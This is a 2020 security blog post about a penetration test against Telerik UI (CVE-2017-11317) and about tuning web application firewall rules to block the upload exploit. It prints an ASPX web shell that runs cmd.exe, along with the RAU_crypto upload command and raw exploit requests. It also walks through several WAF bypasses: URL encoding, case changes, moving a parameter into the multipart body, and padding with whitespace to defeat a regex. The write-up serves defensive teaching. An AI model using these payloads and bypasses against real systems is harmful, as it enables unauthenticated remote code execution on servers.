Monday, November 16, 2020

WAF Journey - Fixing Telerik UI Remote Code Execution via Arbitrary File Upload

Introduction

It might occur that companies discover vulnerabilities on web application assets that were acquired by third party vendors.

What happens if the asset is no longer supported/licensed and cannot be promptly updated by the organization?

A viable option is by using a Web Application Firewall (WAF) component using a custom developed rule to block attempts to exploit specific vulnerabilities.

Even though this behavior might not be the definitive solution, it allows a company to buy time to figure out how to correctly patch or, perhaps, replace the vulnerable asset.

This blog post goes through a real life scenario that describes the development process of the WAF rule created to mitigate the Telerik Unrestricted File Upload (CVE-2017-11317) vulnerability which further led to remote code execution (CVE-2019-18935).


In particular, after providing some background of the vulnerability and some undocumented details about exploitation, a technical drill down will be performed to describe all the steps of a challenging tuning process to find the right Web Application Firewall rule and, hopefully, block the vulnerability from being exploited.

From a defensive point of view it is important to underline that WAFs are powerful tools to secure assets but the development process of rules to fix vulnerabilities should not be overlooked, since poorly engineered rules are often bypassed by attackers.


Telerik Unrestricted File Upload Literature

Telerik RadAsyncUpload feature was initially found to be vulnerable to path traversal attacks (CVE-2014-2217) allowing users to upload files to arbitrary paths.

The vulnerability was then fixed by encrypting the rauPostData parameter containing the information regarding the location of the file upload.

However, up until version v2017.2.621, Telerik RadAsyncUpload was configured to use a hard-coded key (CVE-2017-11317) to encrypt data in file upload requests. Therefore, an attacker could perform requests to the "/Telerik.Web.Ui.WebResource.axd?type=rau" endpoint with a custom encrypted rauPostData parameter to upload arbitrary files within any directory of the web server.

Later on, researchers also found out that the rauPostData was subject to insecure deserialization within the .NET code of Telerik since it contained the class type that was used to deserialize the object.

This vulnerability led to remote code execution (CVE-2019-18935) and is now publicly available as a tool.

Real Life Scenario

The present article will focus on how the arbitrary file upload vulnerability (CVE-2017-11317) was addressed within a real life scenario.

During a network penetration test for a client, the presence of Telerik UI was detected on a web application since it performed requests to the "/Telerik.Web.UI.WebResource.axd" endpoint to download JavaScript files for its UI.

By analyzing some response of the application it was possible to find the string "2014.2.724.40" in a HTML comment, indicating the presence of Telerik UI version 2014.2.724 vulnerable to the mentioned CVEs.

Also, thanks to a full path disclosure vulnerability of the application it was possible to identify the path of a folder within the web root of the application.

It was enough to upload a malicious ".aspx" file within the web root of the application and achieve an unauthenticated remote code execution:

<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<html xmlns="www.w3.org/1999/xhtml">
<head runat="server">
<title>Test</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<%
Dim myProcess As New Process()            
Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe")
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments="/c dir"
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","&lt;")
mystring=replace(mystring,">","&gt;")
Response.Write(vbcrlf & "<pre>" & mystring & "</pre>")
%>
</div>
</form>
</body>
</html>

File Upload Exploitation

In order to upload the aspx file, the RAU_crypto tool was used to automatically create a valid file upload request encrypted with the hard-coded key of Telerik.

The tool was invoked using the following command line string:

python RAU_crypto.py -P c:\\destination\\folder 2014.2.724 malicious.aspx http://victim.com/Telerik.Web.UI.WebResource.axd?type=rau BurpProxyHost:8080

The command line parameters contain the following information:

  1. The P parameter contains the path of the destination folder where the file needs to be uploaded. In our case it contained the path of the web root we discovered at an earlier stage.

  2. The version of Telerik UI so that the tool can use the correct key to encrypt the rauPostData

  3. The file to upload. In our case, the malicious .aspx file shown above.

  4. The target URL of the Telerik RadAsyncUpload endpoint.

  5. The address of a proxy to inspect the requests performed by the tool

By launching the tool, the following request was performed:

POST /ApplicationPath/Telerik.Web.UI.WebResource.axd?type=rau HTTP/1.1
Host: victim.com
Accept-Encoding: gzip, deflate
Content-Length: 3221
Content-Type: multipart/form-data; boundary=---------------------------62616f37756f2f
Connection: close

-----------------------------62616f37756f2f
Content-Disposition: form-data; name="rauPostData"

ATTu5i4R+V[Encrypted rauPostData Payload in base64]FAlzLUg==
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream

<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="system.IO" %>
<%@ import Namespace="System.Diagnostics" %>

<html xmlns="www.w3.org/1999/xhtml">
<head runat="server">
<title>Test</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<%
Dim myProcess As New Process()            
Dim myProcessStartInfo As New ProcessStartInfo("c:\windows\system32\cmd.exe")
myProcessStartInfo.UseShellExecute = false
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments="/c dir"
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","&lt;")
mystring=replace(mystring,">","&gt;")
Response.Write(vbcrlf & "<pre>" & mystring & "</pre>")
%>
</div>
</form>
</body>
</html>
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="fileName"

RAU_crypto.bypass
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="contentType"

text/html
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="lastModifiedDate"

2019-01-02T03:04:05.067Z
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="metadata"

{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":1,"UploadID":"test_109742195623.aspx"}
-----------------------------62616f37756f2f--

It is possible to notice that the application performs a request to the "/Telerik.Web.UI.WebResource.axd?type=rau" endpoint attaching the malicious file and the rauPostData parameter containing all the encrypted metadata required for Telerik to handle the uploaded file.

Since the rauPostData parameter was encrypted with the hardcoded key of the 2014.2.724 Telerik version it accepts the unauthenticated upload as shown in the response to the previous request.

Response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Wed, 01 Apr 2020 10:48:50 GMT
Connection: close
Content-Length: 667

{"fileInfo":{"FileName":"RAU_crypto.bypass","ContentType":"text/html","ContentLength":884,"DateJson":"2019-01-02T03:04:05.067Z","Index":0}, "metaData":"[Base64 Metadata]" }

Since the malicious ".aspx" was uploaded to a known folder in the web root of the application, it was then sufficient to recall the file with a URL of the application to execute the code. The following screenshot shows how the code prints the content of the "C:\Windows\SysWOW64\inetsrv" directory belonging to the IIS Web Server that is hosting the vulnerable application.


Fixing the Issue at WAF level

Once the criticality of the vulnerability was confirmed, the client was immediately contacted in order to speed up the fixing of the file upload.

The ideal fix for the vulnerability would be that of updating the version of Telerik UI used by the application to its latest version that is no longer vulnerable.

However, the client informed us, shortly after the disclosure, that it had no immediate control over the vulnerable asset since it was a third party product that could not be updated right away.

The application could not be simply dismantled because it was still actively used within the organization.

"So, what now?"

The only viable option for the client was that of creating a WAF rule that would block any request exploiting the vulnerable file upload functionality offered by Telerik.


The following paragraphs will recap the various attempts that were performed address the vulnerability, in collaboration with client WAF engineers, without impacting on the usability of the asset.

- 1st WAF Rule - Overkill

The first rule attempt consisted in blocking all incoming requests towards "/Telerik.Web.UI.WebResource.axd" endpoint belonging to Telerik UI.

Unfortunately, the rule was too strict. It not only blocked every malicious calls, but also any form of interaction of the application with Telerik UI making the user interface unusable.

- 2nd WAF Rule: Hunting for "rau"

Final goal: blocking all the requests to Telerik UI using RadAsyncUpload functionality.

The rule was relaxed by adding a condition. The request must contain the "type=rau" parameter value within the query string since it was the command for file upload.

This rule was enough to block basic requests, as the one reported above, created by automatic tools that exploit the vulnerability such as RAU_crypto .

However, it was noticed that the Web Application Firewall would not normalize the value of the received parameters.

A valid bypass would be to URL encode a character within the "type" parameter value "rau" to bypass the rule, specifically:

"rau" -> "ra%75" where "%75" is the "u" character URL encoded.

The following request shows how it was possible to still load an arbitrary file on the system.

Request:

POST /Telerik.Web.UI.WebResource.axd?type=ra%75 HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_st64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------62616f37756f2f
Connection: close
Content-Length: 2347

-----------------------------62616f37756f2f
Content-Disposition: form-data; name="rauPostData"

ATTu5i4R+ViNFY[Encrypted rauPostData Payload in base64]mUFAlzLUg==
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream

Test_Test
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="fileName"

RAU_crypto.bypass
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="contentType"

text/html
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="lastModifiedDate"

2019-01-02T03:04:05.067Z
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="metadata"

{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":1,"UploadID":"test_12421498329494.txt"}
-----------------------------62616f37756f2f--

Response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Thu, 07 May 2020 16:11:22 GMT
Content-Length: 667
Connection: close

{"fileInfo":{"FileName":"RAU_crypto.bypass","ContentType":"text/html","ContentLength":135,"DateJson":"2019-01-02T03:04:05.067Z","Index":0}, "metaData":"[Base64 Metadata]" }

It was observed that the custom rules developed for the specific WAF did not perform normalization by default on the path and query string parameters and therefore are unable to detect URL encoded characters.

To address this bypass, the client was assisted in finding the WAF functionality that allowed to normalize the query string parameter of the request and detect any URL encoded parameters in the "type=rau" parameter.

"So, all is good now, right?"

Not quite...

- 3rd WAF Rule: the "case" is still open

A regression test was then performed in order to be sure that the vulnerability was patched. However, although the URL encoding did not lead to a bypass anymore, it was found that the endpoint was case insentive!

In fact, by specifying the value "raU" within the "type" parameter it was still valid as shown in the following request:

POST /Telerik.Web.UI.WebResource.axd?type=raU HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_st64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------62616f37756f2f
Connection: close
Content-Length: 2345

-----------------------------62616f37756f2f
Content-Disposition: form-data; name="rauPostData"

ATTu5i4R+ViNFY[Encrypted rauPostData Payload in base64]mUFAlzLUg==
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream

Test_Test
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="fileName"

RAU_crypto.bypass
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="contentType"

text/html
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="lastModifiedDate"

2019-01-02T03:04:05.067Z
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="metadata"

{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":1,"UploadID":"test_12421498329494.txt"}
-----------------------------62616f37756f2f--

Response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Fri, 08 May 2020 10:25:09 GMT
Content-Length: 667
Connection: close

{"fileInfo":{"FileName":"RAU_crypto.bypass","ContentType":"text/html","ContentLength":153,"DateJson":"2019-01-02T03:04:05.067Z","Index":0}, "metaData":"[Base64 Metadata]" }

To address this new bypass it was necessary to tune the rule so that it transformed to lower case all the characters within the query string parameters before applying the check on the presence of the "type=rau" parameter.

So now we're confident that any variation of the "Telerik.Web.UI.WebResource.axd?type=rau" within the path of the HTTP request would be blocked by the the WAF rule.

"Is it enough now?"

- 4th WAF Rule: the Multipart Magic

The Telerik UI file upload functionality can only be performed using an HTTP POST request of the "multipart/form-data" content type.

The WAF rule did not allow any variations of the "type=rau" parameter within the URL query string of the request.

But what if the parameter is inserted within the body of the "multipart/form-data" file upload request?

Request:

POST /Telerik.Web.UI.WebResource.axd HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_st64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------62616f37756f2f
Connection: close
Content-Length: 2444

-----------------------------62616f37756f2f
Content-Disposition: form-data; name="rauPostData"

ATTu5i4R+ViN[Encrypted rauPostData Payload in base64]AmUFAlzLUg==
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream

Test_Test
-----------------------------62616f37756f2f
Content-Disposition: form-da[Encrypted rauPostData Payload in base64]ta; name="fileName"

RAU_crypto.bypass
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="type"

rau

-----------------------------62616f37756f2f
Content-Disposition: form-data; name="contentType"

text/html
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="lastModifiedDate"

2019-01-02T03:04:05.067Z
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="metadata"

{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":1,"UploadID":"test_12421498329494.txt"}
-----------------------------62616f37756f2f--

Response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Thu, 07 May 2020 14:29:31 GMT
Content-Length: 666
Connection: close

{"fileInfo":{"FileName":"RAU_crypto.bypass","ContentType":"text/html","ContentLength":18,"DateJson":"2019-01-02T03:04:05.067Z","Index":0},"metaData":"[Base64 Metadata]" }

It works!

Telerik UI accepts the "type" parameter also as a body parameter of the "multipart/form-data" file upload voiding the efficacy of the WAF rule that performs its checks on the URL query string parameters of the request.

The discovery of this behavior required the security engineers of the client to change the approach of the rule development: in order to block this vulnerability it was not enough to check the contents of the query string but it was necessary to perform checks on the body of the POST request as well.

- 5th WAF Rule: RegEx Woes

In order to be sure to block also the requests that do not contain any parameter within the query string, regular expressions were used to check the content of the request body.

In particular, the focus was placed on blocking all the requests with the "rauPostData" parameter, containing file upload encrypted metadata, within the URL query string or the request body.

The check within the body of the request was performed using the following regular expression, after normalizing and transforming to lower case its content:

.*name=.?.?raupostdata.*

This rule blocked a request if performed using the regular syntax to insert a "multipart/form-data" parameter.

The image below shows how a regular parameter matches the regular expression.


However, the regular expression check can be bypassed. The weakness of this check relies on the central portion of the expression that checks for a maximum of two characters (".?.?") between "name=" and "raupostdata". If three spaces are added between the strings and the quotes are removed the expression will no longer match as shown below.


With this modification the parameter was still considered valid by the web server allowing once again the file upload.

Request:

POST /Weblink/Telerik.Web.UI.WebResource.axd HTTP/1.1
Host: victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_st64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------62616f37756f2f
Connection: close
Content-Length: 2473

-----------------------------62616f37756f2f
Content-Disposition: form-data; name=   rauPostData

ATTu5i4R+ViNFYO[Encrypted rauPostData Payload in base64]9TB0pfAmUFAlzLUg==
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream

Test_Test
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="fileName"

RAU_crypto.bypass
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="type"

rau
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="contentType"

text/html
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="lastModifiedDate"

2019-01-02T03:04:05.067Z
-----------------------------62616f37756f2f
Content-Disposition: form-data; name="metadata"

{"TotalChunks":1,"ChunkIndex":0,"TotalFileSize":1,"UploadID":"test_12421498329494.txt"}
-----------------------------62616f37756f2f--

Response:

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Date: Tue, 19 May 2020 14:26:16 GMT
Content-Length: 666
Connection: close

{"fileInfo":{"FileName":"RAU_crypto.bypass","ContentType":"text/html","ContentLength":18,"DateJson":"2019-01-02T03:04:05.067Z","Index":0},"metaData":"[Base64 Metadata]" }

Finally, the regular expression was changed to prevent also this last bypass:

.*name=.*raupostdata.*

With this rule, no matter how many characters are inserted between the strings, the request will still be blocked.

Conclusions

This article has shown the process used to tune the web application firewall rule while studying the exploit of the Telerik Unrestricted File Upload (CVE-2017-11317) vulnerability.

It demonstrates how a vulnerability, that appears trivial to fix, requires an accurate analysis to develop a valid WAF rule.

The several failed rule attempts underline the importance of the following factors when developing a WAF rule:

  • Avoid the implementation of coarse rules that impair the usability of an asset

  • Always perform normalization and lower case transformation of the textual parameters to check

  • Be suspicious of very strict regular expressions

Obviously, all the recommendations above can be reversed for a penetration tester.

Bottom line? Always look for a bypass!

References